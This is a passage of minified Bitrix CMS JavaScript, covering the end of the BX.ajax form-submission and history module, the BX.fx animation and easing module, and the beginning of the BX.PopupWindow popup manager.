i=0,n=e.length;i<n;i++){switch(e[i].type.toUpperCase()){case"SCRIPT":a.loadScript([e[i].url],a.proxy(s,e[i]));break;case"CSS":a.loadCSS([e[i].url]);if(++r>=n)t();break;case"JSON":a.ajax.loadJSON(e[i].url,a.proxy(s,e[i]));break;default:a.ajax.get(e[i].url,"",a.proxy(s,e[i]));break}}};a.ajax.submit=function(e,t){if(!e.target){if(null==e.BXFormTarget){var r="formTarget_"+Math.random();e.BXFormTarget=document.body.appendChild(a.create("IFRAME",{props:{name:r,id:r,src:"javascript:void(0)"},style:{display:"none"}}))}e.target=e.BXFormTarget.name}e.BXFormCallback=t;a.bind(e.BXFormTarget,"load",a.proxy(a.ajax._submit_callback,e));a.submit(e);return false};a.ajax.submitComponentForm=function(t,r,s){if(!t.target){if(null==t.BXFormTarget){var i="formTarget_"+Math.random();t.BXFormTarget=document.body.appendChild(a.create("IFRAME",{props:{name:i,id:i,src:"javascript:void(0)"},style:{display:"none"}}))}t.target=t.BXFormTarget.name}if(!!s)var n=a.showWait(r);t.BXFormCallback=function(t){if(!!s)a.closeWait(n);var i=function(){if(!!e.bxcompajaxframeonload){setTimeout(function(){e.bxcompajaxframeonload();e.bxcompajaxframeonload=null},10)}};a(r).innerHTML=t;a.onCustomEvent("onAjaxSuccess",[null,null,i])};a.bind(t.BXFormTarget,"load",a.proxy(a.ajax._submit_callback,t));return true};a.ajax._submit_callback=function(){try{if(this.BXFormTarget.contentWindow.location.href.indexOf("http")!=0)return}catch(e){return}if(this.BXFormCallback)this.BXFormCallback.apply(this,[this.BXFormTarget.contentWindow.document.body.innerHTML]);a.unbindAll(this.BXFormTarget)};a.ajax.prepareForm=function(e,a){a=!!a?a:{};var t,r,s,i=[],n=e.elements.length,o=0,u=0;if(!!e){for(t=0;t<n;t++){s=e.elements[t];if(s.disabled)continue;if(!s.type)continue;switch(s.type.toLowerCase()){case"text":case"textarea":case"password":case"number":case"hidden":case"select-one":i.push({name:s.name,value:s.value});u+=s.name.length+s.value.length;break;case"file":if(!!s.files){for(r=0;r<s.files.length;r++){o++;i.push({name:s.name,value:s.files[r],file:true});u+=s.files[r].size}}break;case"radio":case"checkbox":if(s.checked){i.push({name:s.name,value:s.value});u+=s.name.length+s.value.length}break;case"select-multiple":for(var l=0;l<s.options.length;l++){if(s.options[l].selected){i.push({name:s.name,value:s.options[l].value});u+=s.name.length+s.options[l].length}}break;default:break}}t=0;u=0;var c=a,f,d,p,h;while(t<i.length){var x=i[t].name.indexOf("[");if(h){c[i[t].name]={};c[i[t].name][h.replace(/\[|\]/gi,"")]=i[t].value;c=a;h=null;t++}else if(x==-1){c[i[t].name]=i[t].value;c=a;t++}else{f=i[t].name.substring(0,x);d=i[t].name.substring(x+1);p=d.indexOf("]");if(p==-1){if(!c[f])c[f]=[];c=a;t++}else if(p==0){if(!c[f])c[f]=[];c=c[f];i[t].name=""+c.length;if(d.substring(p+1).indexOf("[")===0)h=d.substring(0,p)+d.substring(p+1)}else{if(!c[f])c[f]={};c=c[f];i[t].name=d.substring(0,p)+d.substring(p+1)}}}}return{data:a,filesCount:o,roughSize:u}};a.ajax.submitAjax=function(t,r){r=r!==null&&typeof r=="object"?r:{};r.url=r["url"]||t.getAttribute("action");var s=r["data"]||{};r.data=a.ajax.prepareForm(t).data;for(var i in s){if(s.hasOwnProperty(i)){r.data[i]=s[i]}}if(!e["FormData"]){a.ajax(r)}else{var n=function(e){var a=Object.prototype.toString.call(e);return a=="[object File]"||a=="[object Blob]"},o=function(e,a,t){if(!!t&&typeof t=="object"&&!n(t)){for(var r in t){if(t.hasOwnProperty(r)){o(e,a==""?r:a+"["+r+"]",t[r])}}}else e.append(a,!!t?t:"")},u=function(e){var t={};if(null!=e){if(typeof e=="object"){for(var r in e){if(e.hasOwnProperty(r)){var s=a.util.urlencode(r);if(typeof e[r]=="object"&&e[r]["file"]!==true)t[s]=u(e[r]);else if(e[r]["file"]===true)t[s]=e[r]["value"];else t[s]=a.util.urlencode(e[r])}}}else t=a.util.urlencode(e)}return t},l=new e.FormData;if(r.method!=="POST"){r.data=a.ajax.prepareData(r.data);if(r.data){r.url+=(r.url.indexOf("?")!==-1?"&":"?")+r.data;r.data=""}}else{if(r.preparePost===true)r.data=u(r.data);o(l,"",r.data);r.data=l}r.preparePost=false;r.start=false;var c=a.ajax(r);if(!!r["onprogress"])c.upload.addEventListener("progress",function(e){var a=null;if(e.lengthComputable&&(e.total||e["totalSize"])){a=e.loaded*100/(e.total||e["totalSize"])}r["onprogress"](e,a)});c.send(l)}};a.ajax.UpdatePageData=function(e){if(e.TITLE)a.ajax.UpdatePageTitle(e.TITLE);if(e.WINDOW_TITLE||e.TITLE)a.ajax.UpdateWindowTitle(e.WINDOW_TITLE||e.TITLE);if(e.NAV_CHAIN)a.ajax.UpdatePageNavChain(e.NAV_CHAIN);if(e.CSS&&e.CSS.length>0)a.loadCSS(e.CSS);if(e.SCRIPTS&&e.SCRIPTS.length>0){var t=function(r,s,i){if(!!s&&a.type.isArray(s.scripts)){for(var n=0,o=e.SCRIPTS.length;n<o;n++){s.scripts.push({isInternal:false,JS:e.SCRIPTS[n]})}}else{a.loadScript(e.SCRIPTS,i)}a.removeCustomEvent("onAjaxSuccess",t)};a.addCustomEvent("onAjaxSuccess",t)}else{var r=function(e,t,s){if(a.type.isFunction(s)){s()}a.removeCustomEvent("onAjaxSuccess",r)};a.addCustomEvent("onAjaxSuccess",r)}};a.ajax.UpdatePageTitle=function(e){var t=a("pagetitle");if(t){t.removeChild(t.firstChild);if(!t.firstChild)t.appendChild(document.createTextNode(e));else t.insertBefore(document.createTextNode(e),t.firstChild)}};a.ajax.UpdateWindowTitle=function(e){document.title=e};a.ajax.UpdatePageNavChain=function(e){var t=a("navigation");if(t){t.innerHTML=e}};a.userOptions={options:null,bSend:false,delay:5e3,path:"/bitrix/admin/user_options.php?"};a.userOptions.setAjaxPath=function(e){a.userOptions.path=e.indexOf("?")==-1?e+"?":e+"&"};a.userOptions.save=function(e,t,r,s,i){if(null==a.userOptions.options)a.userOptions.options={};i=!!i;a.userOptions.options[e+"."+t+"."+r]=[e,t,r,s,i];var n=a.userOptions.__get();if(n!="")document.cookie=a.message("COOKIE_PREFIX")+"_LAST_SETTINGS="+encodeURIComponent(n)+"&sessid="+a.bitrix_sessid()+"; expires=Thu, 31 Dec 2020 23:59:59 GMT; path=/;";if(!a.userOptions.bSend){a.userOptions.bSend=true;setTimeout(function(){a.userOptions.send(null)},a.userOptions.delay)}};a.userOptions.send=function(e){var t=a.userOptions.__get();a.userOptions.options=null;a.userOptions.bSend=false;if(t!=""){document.cookie=a.message("COOKIE_PREFIX")+"_LAST_SETTINGS=; path=/;";a.ajax({method:"GET",dataType:"html",processData:false,cache:false,url:a.userOptions.path+t+"&sessid="+a.bitrix_sessid(),onsuccess:e})}};a.userOptions.del=function(e,t,r,s){a.ajax.get(a.userOptions.path+"action=delete&c="+e+"&n="+t+(r==true?"&common=Y":"")+"&sessid="+a.bitrix_sessid(),s)};a.userOptions.__get=function(){if(!a.userOptions.options)return"";var e="",t=-1,r="",s,i;for(i in a.userOptions.options){if(a.userOptions.options.hasOwnProperty(i)){s=a.userOptions.options[i];if(r!=s[0]+"."+s[1]){t++;e+="&p["+t+"][c]="+a.util.urlencode(s[0]);e+="&p["+t+"][n]="+a.util.urlencode(s[1]);if(s[4]==true)e+="&p["+t+"][d]=Y";r=s[0]+"."+s[1]}var n=s[2];var o=s[3];if(n===null){e+="&p["+t+"][v]="+a.util.urlencode(o)}else{e+="&p["+t+"][v]["+a.util.urlencode(n)+"]="+a.util.urlencode(o)}}}return e.substr(1)};a.ajax.history={expected_hash:"",obParams:null,obFrame:null,obImage:null,obTimer:null,bInited:false,bHashCollision:false,bPushState:!!(history.pushState&&a.type.isFunction(history.pushState)),startState:null,init:function(t){if(a.ajax.history.bInited)return;this.obParams=t;var r=this.obParams.getState();if(a.ajax.history.bPushState){a.ajax.history.expected_hash=e.location.pathname;if(e.location.search)a.ajax.history.expected_hash+=e.location.search;a.ajax.history.put(r,a.ajax.history.expected_hash,"",true);setTimeout(function(){a.bind(e,"popstate",a.ajax.history.__hashListener)},500)}else{a.ajax.history.expected_hash=e.location.hash;if(!a.ajax.history.expected_hash||a.ajax.history.expected_hash=="#")a.ajax.history.expected_hash="__bx_no_hash__";f.put(a.ajax.history.expected_hash,r);a.ajax.history.obTimer=setTimeout(a.ajax.history.__hashListener,500);if(a.browser.IsIE()){a.ajax.history.obFrame=document.createElement("IFRAME");a.hide_object(a.ajax.history.obFrame);document.body.appendChild(a.ajax.history.obFrame);a.ajax.history.obFrame.contentWindow.document.open();a.ajax.history.obFrame.contentWindow.document.write(a.ajax.history.expected_hash);a.ajax.history.obFrame.contentWindow.document.close()}else if(a.browser.IsOpera()){a.ajax.history.obImage=document.createElement("IMG");a.hide_object(a.ajax.history.obImage);document.body.appendChild(a.ajax.history.obImage);a.ajax.history.obImage.setAttribute("src","javascript:location.href = 'javascript:BX.ajax.history.__hashListener();';")}}a.ajax.history.bInited=true},__hashListener:function(t){t=t||e.event||{state:false};if(a.ajax.history.bPushState){a.ajax.history.obParams.setState(t.state||a.ajax.history.startState)}else{if(a.ajax.history.obTimer){e.clearTimeout(a.ajax.history.obTimer);a.ajax.history.obTimer=null}var r;if(null!=a.ajax.history.obFrame)r=a.ajax.history.obFrame.contentWindow.document.body.innerText;else r=e.location.hash;if(!r||r=="#")r="__bx_no_hash__";if(r.indexOf("#")==0)r=r.substring(1);if(r!=a.ajax.history.expected_hash){var s=f.get(r);if(s){a.ajax.history.obParams.setState(s);a.ajax.history.expected_hash=r;if(null!=a.ajax.history.obFrame){var i=r=="__bx_no_hash__"?"":r;if(e.location.hash!=i&&e.location.hash!="#"+i)e.location.hash=i}}}a.ajax.history.obTimer=setTimeout(a.ajax.history.__hashListener,500)}},put:function(t,r,s,i){if(this.bPushState){if(!i){history.pushState(t,"",r)}else{a.ajax.history.startState=t}}else{if(typeof s!="undefined")r=s;else r="view"+r;f.put(r,t);a.ajax.history.expected_hash=r;e.location.hash=a.util.urlencode(r);if(null!=a.ajax.history.obFrame){a.ajax.history.obFrame.contentWindow.document.open();a.ajax.history.obFrame.contentWindow.document.write(r);a.ajax.history.obFrame.contentWindow.document.close()}}},checkRedirectStart:function(t,r){var s=e.location.hash;if(s.substring(0,1)=="#")s=s.substring(1);var i=s.substring(0,5);if(i=="view/"||i=="view%"){a.ajax.history.bHashCollision=true;document.write("<"+'div id="__ajax_hash_collision_'+r+'" style="display: none;">')}},checkRedirectFinish:function(t,r){document.write("</div>");var s=e.location.hash;if(s.substring(0,1)=="#")s=s.substring(1);a.ready(function(){var e=s.substring(0,5);if(e=="view/"||e=="view%"){var i=a("__ajax_hash_collision_"+r);var n=i.firstChild;a.cleanNode(n);i.style.display="block";if(e!="view%")s=a.util.urlencode(s);s+=(s.indexOf("%3F")==-1?"%3F":"%26")+t+"="+r;var o="/bitrix/tools/ajax_redirector.php?hash="+s;a.ajax.insertToNode(o,n)}})}};a.ajax.component=function(e){this.node=e};a.ajax.component.prototype.getState=function(){var t={node:this.node,title:e.document.title,data:a(this.node).innerHTML};var r=a("navigation");if(null!=r)t.nav_chain=r.innerHTML;a.onCustomEvent(a(t.node),"onComponentAjaxHistoryGetState",[t]);return t};a.ajax.component.prototype.setState=function(e){a(e.node).innerHTML=e.data;a.ajax.UpdatePageTitle(e.title);if(e.nav_chain){a.ajax.UpdatePageNavChain(e.nav_chain)}a.onCustomEvent(a(e.node),"onComponentAjaxHistorySetState",[e])};var f={arHistory:{},put:function(e,a){this.arHistory[e]=a},get:function(e){return this.arHistory[e]}};a.ajax.FormData=function(){this.elements=[];this.files=[];this.features={};this.isSupported();this.log("BX FormData init")};a.ajax.FormData.isSupported=function(){var e=new a.ajax.FormData;var t=e.features.supported;e=null;return t};a.ajax.FormData.prototype.log=function(e){if(false){try{if(a.browser.IsIE())e=JSON.stringify(e);console.log(e)}catch(e){}}};a.ajax.FormData.prototype.isSupported=function(){var a={};a.fileReader=e.FileReader&&e.FileReader.prototype.readAsBinaryString;a.readFormData=a.sendFormData=!!e.FormData;a.supported=!!(a.readFormData&&a.sendFormData);this.features=a;this.log("features:");this.log(a);return a.supported};a.ajax.FormData.prototype.append=function(e,a){if(typeof a==="object"){this.files.push({name:e,value:a})}else{this.elements.push({name:e,value:a})}};a.ajax.FormData.prototype.send=function(e,t,r,s){this.log("FD send");this.xhr=a.ajax({method:"POST",dataType:"html",url:e,onsuccess:t,onfailure:s,start:false,preparePost:false});if(r){this.xhr.upload.addEventListener("progress",function(e){if(e.lengthComputable)r(e.loaded/(e.total||e.totalSize))},false)}if(this.features.readFormData&&this.features.sendFormData){var i=new FormData;this.log("use browser formdata");for(var n in this.elements){if(this.elements.hasOwnProperty(n))i.append(this.elements[n].name,this.elements[n].value)}for(n in this.files){if(this.files.hasOwnProperty(n))i.append(this.files[n].name,this.files[n].value)}this.xhr.send(i)}return this.xhr};a.addCustomEvent("onAjaxFailure",a.debug)})(window);
/* End */
;
; /* Start:"a:4:{s:4:"full";s:50:"/bitrix/js/main/core/core_fx.min.js?15396162259768";s:6:"source";s:31:"/bitrix/js/main/core/core_fx.js";s:3:"min";s:35:"/bitrix/js/main/core/core_fx.min.js";s:3:"map";s:35:"/bitrix/js/main/core/core_fx.map.js";}"*/
(function(t){var i={time:1,step:.05,type:"linear",allowFloat:false};BX.fx=function(t){this.options=t;if(null!=this.options.time)this.options.originalTime=this.options.time;if(null!=this.options.step)this.options.originalStep=this.options.step;if(!this.__checkOptions())return false;this.__go=BX.delegate(this.go,this);this.PARAMS={}};BX.fx.prototype.__checkOptions=function(){if(typeof this.options.start!=typeof this.options.finish)return false;if(null==this.options.time)this.options.time=i.time;if(null==this.options.step)this.options.step=i.step;if(null==this.options.type)this.options.type=i.type;if(null==this.options.allowFloat)this.options.allowFloat=i.allowFloat;this.options.time*=1e3;this.options.step*=1e3;if(typeof this.options.start!="object"){this.options.start={_param:this.options.start};this.options.finish={_param:this.options.finish}}var e;for(e in this.options.start){if(null==this.options.finish[e]){this.options.start[e]=null;delete this.options.start[e]}}if(!BX.type.isFunction(this.options.type)){if(BX.type.isFunction(t[this.options.type]))this.options.type=t[this.options.type];else if(BX.type.isFunction(BX.fx.RULES[this.options.type]))this.options.type=BX.fx.RULES[this.options.type];else this.options.type=BX.fx.RULES[i.type]}return true};BX.fx.prototype.go=function(){var t=(new Date).valueOf();if(t<this.PARAMS.timeFinish){for(var i in this.PARAMS.current){this.PARAMS.current[i][0]=this.options.type.apply(this,[{start_value:this.PARAMS.start[i][0],finish_value:this.PARAMS.finish[i][0],current_value:this.PARAMS.current[i][0],current_time:t-this.PARAMS.timeStart,total_time:this.options.time}])}this._callback(this.options.callback);if(!this.paused)this.PARAMS.timer=setTimeout(this.__go,this.options.step)}else{this.stop()}};BX.fx.prototype._callback=function(t){var i={};t=t||this.options.callback;for(var e in this.PARAMS.current){i[e]=(this.options.allowFloat?this.PARAMS.current[e][0]:Math.round(this.PARAMS.current[e][0]))+this.PARAMS.current[e][1]}return t.apply(this,[null!=i["_param"]?i._param:i])};BX.fx.prototype.start=function(){var t,i,e;this.PARAMS.start={};this.PARAMS.current={};this.PARAMS.finish={};for(t in this.options.start){i=+this.options.start[t];e=(this.options.start[t]+"").substring((i+"").length);this.PARAMS.start[t]=[i,e];this.PARAMS.current[t]=[i,e];this.PARAMS.finish[t]=[+this.options.finish[t],e]}this._callback(this.options.callback_start);this._callback(this.options.callback);this.PARAMS.timeStart=(new Date).valueOf();this.PARAMS.timeFinish=this.PARAMS.timeStart+this.options.time;this.PARAMS.timer=setTimeout(BX.delegate(this.go,this),this.options.step);return this};BX.fx.prototype.pause=function(){if(this.paused){this.PARAMS.timer=setTimeout(this.__go,this.options.step);this.paused=false}else{clearTimeout(this.PARAMS.timer);this.paused=true}};BX.fx.prototype.stop=function(t){t=!!t;if(this.PARAMS.timer)clearTimeout(this.PARAMS.timer);if(null!=this.options.originalTime)this.options.time=this.options.originalTime;if(null!=this.options.originalStep)this.options.step=this.options.originalStep;this.PARAMS.current=this.PARAMS.finish;if(!t){this._callback(this.options.callback);this._callback(this.options.callback_complete)}};BX.fx.RULES={linear:function(t){return t.start_value+t.current_time/t.total_time*(t.finish_value-t.start_value)},decelerated:function(t){return t.start_value+Math.sqrt(t.current_time/t.total_time)*(t.finish_value-t.start_value)},accelerated:function(t){var i=t.current_time/t.total_time;return t.start_value+i*i*(t.finish_value-t.start_value)}};BX.fx.hide=function(t,i,e){t=BX(t);if(typeof i=="object"&&null==e){e=i;i=e.type}if(!e)e={};if(!BX.type.isNotEmptyString(i)){t.style.display="none";return}var s=BX.fx.EFFECTS[i](t,e,0);s.callback_complete=function(){if(e.hide!==false)t.style.display="none";if(e.callback_complete)e.callback_complete.apply(this,arguments)};return new BX.fx(s).start()};BX.fx.show=function(t,i,e){t=BX(t);if(typeof i=="object"&&null==e){e=i;i=e.type}if(!e)e={};if(!BX.type.isNotEmptyString(i)){t.style.display="block";return}var s=BX.fx.EFFECTS[i](t,e,1);s.callback_complete=function(){if(e.show!==false)t.style.display="block";if(e.callback_complete)e.callback_complete.apply(this,arguments)};return new BX.fx(s).start()};BX.fx.EFFECTS={scroll:function(t,e,s){if(!e.direction)e.direction="vertical";var n=e.direction=="horizontal"?"width":"height";var o=parseInt(BX.style(t,n));if(isNaN(o)){o=BX.pos(t)[n]}if(s==0)var a=o,r=e.min_height?parseInt(e.min_height):0;else var r=o,a=e.min_height?parseInt(e.min_height):0;return{start:a,finish:r,time:e.time||i.time,type:"linear",callback_start:function(){if(BX.style(t,"position")=="static")t.style.position="relative";t.style.overflow="hidden";t.style[n]=a+"px";t.style.display="block"},callback:function(i){t.style[n]=i+"px"}}},fade:function(t,e,s){var n={time:e.time||i.time,type:s==0?"decelerated":"linear",start:s==0?1:0,finish:s==0?0:1,allowFloat:true};if(BX.browser.IsIE()&&!BX.browser.IsIE9()){n.start*=100;n.finish*=100;n.allowFloat=false;n.callback_start=function(){t.style.display="block";t.style.filter+="progid:DXImageTransform.Microsoft.Alpha(opacity="+n.start+")"};n.callback=function(i){(t.filters["DXImageTransform.Microsoft.alpha"]||t.filters.alpha).opacity=i}}else{n.callback_start=function(){t.style.display="block"};n.callback=function(i){t.style.opacity=t.style.KhtmlOpacity=t.style.MozOpacity=i}}return n},fold:function(t,e,s){if(s!=0)return;var n=BX.pos(t);var o=n.height/(n.width+n.height);var a={time:e.time||i.time,callback_complete:e.callback_complete,hide:e.hide};e.type="scroll";e.direction="vertical";e.min_height=e.min_height||10;e.hide=false;e.time=o*a.time;e.callback_complete=function(){t.style.whiteSpace="nowrap";e.direction="horizontal";e.min_height=null;e.time=a.time-e.time;e.hide=a.hide;e.callback_complete=a.callback_complete;BX.fx.hide(t,e)};return BX.fx.EFFECTS.scroll(t,e,s)},scale:function(t,e,s){var n={width:parseInt(BX.style(t,"width")),height:parseInt(BX.style(t,"height"))};if(isNaN(n.width)||isNaN(n.height)){var o=BX.pos(t);n={width:o.width,height:o.height}}if(s==0)var a=n,r={width:0,height:0};else var r=n,a={width:0,height:0};return{start:a,finish:r,time:e.time||i.time,type:"linear",callback_start:function(){t.style.position="relative";t.style.overflow="hidden";t.style.display="block";t.style.height=a.height+"px";t.style.width=a.width+"px"},callback:function(i){t.style.height=i.height+"px";t.style.width=i.width+"px"}}}};var e={arStack:{},arRules:{},globalAnimationId:0};BX.fx.colorAnimate=function(t,i,s){if(t==null)return;animationId=t.getAttribute("data-animation-id");if(animationId==null){animationId=e.globalAnimationId;t.setAttribute("data-animation-id",e.globalAnimationId++)}var n=i.split(/\s*,\s*/);for(var o=0;o<n.length;o++){i=n[o];if(!e.arRules[i])continue;var a=0;if(!e.arStack[animationId]){e.arStack[animationId]={}}else if(e.arStack[animationId][i]){a=e.arStack[animationId][i].i;clearInterval(e.arStack[animationId][i].tId)}if(a==0&&s||a==e.arRules[i][3]&&!s)continue;e.arStack[animationId][i]={i:a,element:t,tId:setInterval('BX.fx.colorAnimate.run("'+animationId+'","'+i+'")',e.arRules[i][4]),back:Boolean(s)}}};BX.fx.colorAnimate.addRule=function(t,i,s,n,o,a,r){e.arRules[t]=[BX.util.hex2rgb(i),BX.util.hex2rgb(s),n.replace(/\-(.)/g,function(){return arguments[1].toUpperCase()}),o,a||1,r||false]};BX.fx.colorAnimate.run=function(t,i){element=e.arStack[t][i].element;e.arStack[t][i].i+=e.arStack[t][i].back?-1:1;var s=e.arStack[t][i].i/e.arRules[i][3];var n=1-s;var o=e.arRules[i][0];var a=e.arRules[i][1];element.style[e.arRules[i][2]]="rgb("+Math.floor(o["r"]*n+a["r"]*s)+","+Math.floor(o["g"]*n+a["g"]*s)+","+Math.floor(o["b"]*n+a["b"]*s)+")";if(e.arStack[t][i].i==e.arRules[i][3]||e.arStack[t][i].i==0){clearInterval(e.arStack[t][i].tId);if(e.arRules[i][5])BX.fx.colorAnimate(e.arStack[t][i].element,i,true)}};BX.easing=function(t){this.options=t;this.timer=null};BX.easing.prototype.animate=function(){if(!this.options||!this.options.start||!this.options.finish||typeof this.options.start!="object"||typeof this.options.finish!="object")return null;for(var t in this.options.start){if(typeof this.options.finish[t]=="undefined"){delete this.options.start[t]}}this.options.progress=function(t){var i={};for(var e in this.start)i[e]=Math.round(this.start[e]+(this.finish[e]-this.start[e])*t);if(this.step){this.step(i)}};this.animateProgress()};BX.easing.prototype.stop=function(t){if(this.timer){cancelAnimationFrame(this.timer);this.timer=null;if(t){this.options.complete&&this.options.complete()}}};BX.easing.prototype.animateProgress=function(){if(!t.requestAnimationFrame){this.options.progress(1);this.options.complete&&this.options.complete();return}var i=null;var e=this.options.transition||BX.easing.transitions.linear;var s=this.options.duration||1e3;var n=BX.proxy(function(t){if(i===null){i=t}var o=(t-i)/s;if(o>1){o=1}this.options.progress(e(o));if(o==1){this.stop(true)}else{this.timer=requestAnimationFrame(n)}},this);this.timer=requestAnimationFrame(n)};BX.easing.makeEaseInOut=function(t){return function(i){if(i<.5)return t(2*i)/2;else return(2-t(2*(1-i)))/2}};BX.easing.makeEaseOut=function(t){return function(i){return 1-t(1-i)}};BX.easing.transitions={linear:function(t){return t},quad:function(t){return Math.pow(t,2)},cubic:function(t){return Math.pow(t,3)},quart:function(t){return Math.pow(t,4)},quint:function(t){return Math.pow(t,5)},circ:function(t){return 1-Math.sin(Math.acos(t))},back:function(t){return Math.pow(t,2)*((1.5+1)*t-1.5)},elastic:function(t){return Math.pow(2,10*(t-1))*Math.cos(20*Math.PI*1.5/3*t)},bounce:function(t){for(var i=0,e=1;1;i+=e,e/=2){if(t>=(7-4*i)/11){return-Math.pow((11-6*i-11*t)/4,2)+Math.pow(e,2)}}}}})(window);
/* End */
;
; /* Start:"a:4:{s:4:"full";s:54:"/bitrix/js/main/core/core_popup.min.js?154288506848272";s:6:"source";s:34:"/bitrix/js/main/core/core_popup.js";s:3:"min";s:0:"";s:3:"map";s:0:"";}"*/
(function(t){"use strict";if(BX.PopupWindowManager){return}BX.PopupWindowManager={_popups:[],_currentPopup:null,create:function(t,e,i){var n=-1;if((n=this._getPopupIndex(t))!==-1){return this._popups[n]}var o=new BX.PopupWindow(t,e,i);BX.addCustomEvent(o,"onPopupShow",BX.delegate(this.onPopupShow,this));BX.addCustomEvent(o,"onPopupClose",BX.delegate(this.onPopupClose,this));return o},onPopupWindowIsInitialized:function(t,e){BX.addCustomEvent(e,"onPopupDestroy",BX.delegate(this.onPopupDestroy,this));this._popups.push(e)},onPopupShow:function(t){if(this._currentPopup!==null){this._currentPopup.close()}this._currentPopup=t},onPopupClose:function(t){this._currentPopup=null},onPopupDestroy:function(t){var e;if((e=this._getPopupIndex(t.uniquePopupId))!==-1){this._popups=BX.util.deleteFromArray(this._popups,e)}},getCurrentPopup:function(){return this._currentPopup},isPopupExists:function(t){return this._getPopupIndex(t)!==-1},isAnyPopupShown:function(){for(var t=0,e=this._popups.length;t<e;t++){if(this._popups[t].isShown()){return true}}return false},_getPopupIndex:function(t){var e=-1;for(var i=0;i<this._popups.length;i++){if(this._popups[i].uniquePopupId===t){return i}}return e},getMaxZIndex:function(){var t=0,e;for(e=0;e<this._popups.length;e++){t=Math.max(t,this._popups[e].params.zIndex)}return t}};BX.addCustomEvent("onPopupWindowIsInitialized",BX.proxy(BX.PopupWindowManager.onPopupWindowIsInitialized,BX.PopupWindowManager));BX.PopupWindow=function(e,i,n){n=n||{};this.params=n;BX.onCustomEvent("onPopupWindowInit",[e,i,n]);this.uniquePopupId=e;this.params.zIndex=BX.type.isNumber(n.zIndex)?parseInt(n.zIndex):0;this.params.zIndexAbsolute=BX.type.isNumber(n.zIndexAbsolute)?parseInt(n.zIndexAbsolute):0;this.buttons=n.buttons&&BX.type.isArray(n.buttons)?n.buttons:[];this.offsetTop=BX.PopupWindow.getOption("offsetTop");this.offsetLeft=BX.PopupWindow.getOption("offsetLeft");this.firstShow=false;this.bordersWidth=20;this.bindElementPos=null;this.closeIcon=null;this.resizeIcon=null;this.angle=null;this.overlay=null;this.titleBar=null;this.bindOptions=typeof n.bindOptions==="object"?n.bindOptions:{};this.animationOptions=typeof n.animationOptions==="object"?n.animationOptions:{};this.autoHide=n.autoHide===true;this.autoHideHandler=BX.type.isFunction(n.autoHideHandler)?n.autoHideHandler:null;this.handleAutoHide=this.handleAutoHide.bind(this);this.handleOverlayClick=this.handleOverlayClick.bind(this);this.isAutoHideBinded=false;this.closeByEsc=n.closeByEsc===true;this.isCloseByEscBinded=false;this.width=null;this.height=null;this.minWidth=null;this.minHeight=null;this.maxWidth=null;this.maxHeight=null;if(n.parentPopup instanceof BX.PopupWindow){this.parentPopup=n.parentPopup;this.appendContainer=n.parentPopup.contentContainer;n.offsetTop=(n.offsetTop?n.offsetTop:0)-(BX.PopupWindow.fullscreenStatus?0:this.parentPopup.popupContainer.offsetTop);n.offsetLeft=(n.offsetLeft?n.offsetLeft:0)-(BX.PopupWindow.fullscreenStatus?0:this.parentPopup.popupContainer.offsetLeft)}else{this.parentPopup=null;this.appendContainer=document.body}this.dragOptions={cursor:"",callback:BX.DoNothing,eventName:""};this.dragged=false;this.dragPageX=0;this.dragPageY=0;this.animationShowClassName="";this.animationCloseClassName="";this.animationCloseEventType=false;if(typeof this.animationOptions.show==="object"){this.animationShowClassName="";if(BX.type.isNotEmptyString(this.animationOptions.show.className)){this.animationShowClassName=this.animationOptions.show.className}else if(BX.type.isNotEmptyString(this.animationOptions.show.type)){switch(this.animationOptions.show.type){case"opacity-transform":this.animationShowClassName="popup-window-show-animation-opacity-transform";break;case"opacity":this.animationShowClassName="popup-window-show-animation-opacity";break;default:this.animationShowClassName="popup-window-show-animation-opacity"}}}if(typeof this.animationOptions.close==="object"){this.animationCloseClassName="";this.animationCloseEventType="";if(BX.type.isNotEmptyString(this.animationOptions.close.className)){this.animationCloseClassName=this.animationOptions.close.className;if(BX.type.isNotEmptyString(this.animationOptions.close.eventType)||BX.util.in_array(this.animationOptions.close.eventType,["animation","transition"])){this.animationCloseEventType=this.animationOptions.close.eventType}}else if(BX.type.isNotEmptyString(this.animationOptions.close.type)){switch(this.animationOptions.close.type){case"opacity-transform":this.animationCloseClassName="popup-window-close-animation-opacity-transform";this.animationCloseEventType="animation";break;case"opacity":this.animationCloseClassName="popup-window-close-animation-opacity";this.animationCloseEventType="animation";break;default:this.animationCloseClassName="";this.animationCloseEventType=""}}}if(n.events){for(var o in n.events){BX.addCustomEvent(this,o,n.events[o])}}var s="popup-window";if(n.contentColor&&BX.type.isNotEmptyString(n.contentColor)){s+=" popup-window-content-"+n.contentColor}if(n.contentNoPaddings){s+=" popup-window-content-no-paddings"}if(n.noAllPaddings){s+=" popup-window-no-paddings"}if(n.titleBar){s+=" popup-window-with-titlebar"}if(n.className&&BX.type.isNotEmptyString(n.className)){s+=" "+n.className}if(n.darkMode){s+=" popup-window-dark"}this.popupContainer=document.createElement("div");var p="popup-window-titlebar-"+e;if(n.titleBar){this.titleBar=BX.create("div",{props:{className:"popup-window-titlebar",id:p}})}if(n.closeIcon){this.closeIcon=BX.create("span",{props:{className:"popup-window-close-icon"+(n.titleBar?" popup-window-titlebar-close-icon":"")},style:typeof n.closeIcon==="object"?n.closeIcon:{},events:{click:BX.proxy(this._onCloseIconClick,this)}});if(BX.browser.IsIE()){BX.adjust(this.closeIcon,{attrs:{hidefocus:"true"}})}}this.contentContainer=BX.create("div",{props:{id:"popup-window-content-"+e,className:"popup-window-content"}});BX.adjust(this.popupContainer,{props:{id:e,className:s},style:{zIndex:this.getZindex(),position:"absolute",display:"none",top:"0px",left:"0px"},children:[this.titleBar,this.contentContainer,this.closeIcon]});this.appendContainer.appendChild(this.popupContainer);this.buttonsContainer=null;if(n.angle){this.setAngle(n.angle)}if(n.overlay){this.setOverlay(n.overlay)}this.setOffset(n);this.setBindElement(i);this.setTitleBar(n.titleBar);this.setContent(n.content);this.setButtons(n.buttons);this.setWidth(n.width);this.setHeight(n.height);this.setMinWidth(n.minWidth);this.setMinHeight(n.minHeight);this.setMaxWidth(n.maxWidth);this.setMaxHeight(n.maxHeight);this.setResizeMode(n.resizable);if(n.bindOnResize!==false){BX.bind(t,"resize",BX.proxy(this._onResizeWindow,this))}BX.onCustomEvent("onPopupWindowIsInitialized",[e,this])};BX.PopupWindow.prototype.setContent=function(t){if(!this.contentContainer||!t){return}if(BX.type.isElementNode(t)){BX.cleanNode(this.contentContainer);this.contentContainer.appendChild(t.parentNode?t.parentNode.removeChild(t):t);t.style.display="block"}else 